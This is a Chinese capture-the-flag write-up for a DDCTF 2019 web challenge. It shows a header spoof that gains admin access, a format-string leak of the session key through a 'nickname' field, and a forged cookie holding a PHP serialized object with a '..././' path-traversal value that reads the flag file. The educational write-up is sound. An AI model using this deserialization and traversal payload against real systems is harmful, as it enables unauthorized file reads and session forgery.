-
解题步骤
- 先打开f12观察,观察到有个js/index.js,进入发现是一个认证用的js
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
- 查看代码发现他们发送一个didictf_username来认证
- 进入主页http://117.51.158.44/index.php,抓包发现http请求头中有个didictf_username: 尝试传一个admin值,成功获得提示
您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php
。
- 进入页面发现一个后台代码,此处不再贴出大量代码(本人请去ctf文件夹查看文件)通读代码,发现unserialize函数的运行会调用Application类的__destruct()其中存在的file_get_contents函数能查看出flag
- 在session类中通过这段代码.构造POST请求输入nicknma=%s,可得到this->eancrykey的值,该值即为用来加密session的key值。
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
- 通过serialize函数构造一个调用__destruct()的string。在string前面加上key值进行md5加密
- 构造完成的cookie:ddctf_id字符串是O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2。cookie提交的时候要把;替换成URL编码,因为;会截断cookie。
- 抓包构造请求,得到
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
-
学习心得
- 就是一个unserialize函数居然会调用__destruct()函数,或者是__wakeup()函数。
网友评论